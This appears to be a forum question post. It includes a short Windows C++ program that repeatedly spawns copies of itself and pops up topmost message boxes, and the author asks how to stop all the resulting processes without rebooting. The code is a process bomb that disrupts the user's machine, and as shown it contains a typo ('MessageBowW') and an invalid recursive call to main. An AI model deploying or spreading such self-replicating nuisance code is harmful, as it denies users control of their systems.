Firstly, I do not asking for programming solutions, I just publish this code to show how this program work.
I tried this program below (in Virtual Box):
#include <iostream>
#include <string.h>
#include <windows.h>
using namespace std;
int main(int argc, char **argv){
//program will create a command string that will be executed by the system console to call itself in another process (create another process): cmd = start program_name.exe
string cmd = string("start ") + string(*argv);
//execute cmd: a temporatytemporary console will be opened, then execute cmd, finally the console will be closed
system(cmd.c_str());
//display a message box (In fact, display many message boxes) which annoying user
MessageBowW(0, L"Message box content", L"Message box title", MB_OK | MB_ICONEXCLAMATION | MB_TOPMOST);
//if the user pressed OK button in a message box, the message box will display again (by recursion)
return main(argc, argv);
}
The compiled executable file here
By repeatedly calling itself, this program open many extremely obtrucsive messagebox and slow down the system. This program also prevent the user to do any manipulation.
I can't do anything better than restart my system.
My question is, if I accidentally open this program (open directly by double clicking), how to stop all there processes without restarting Windows? Any idea?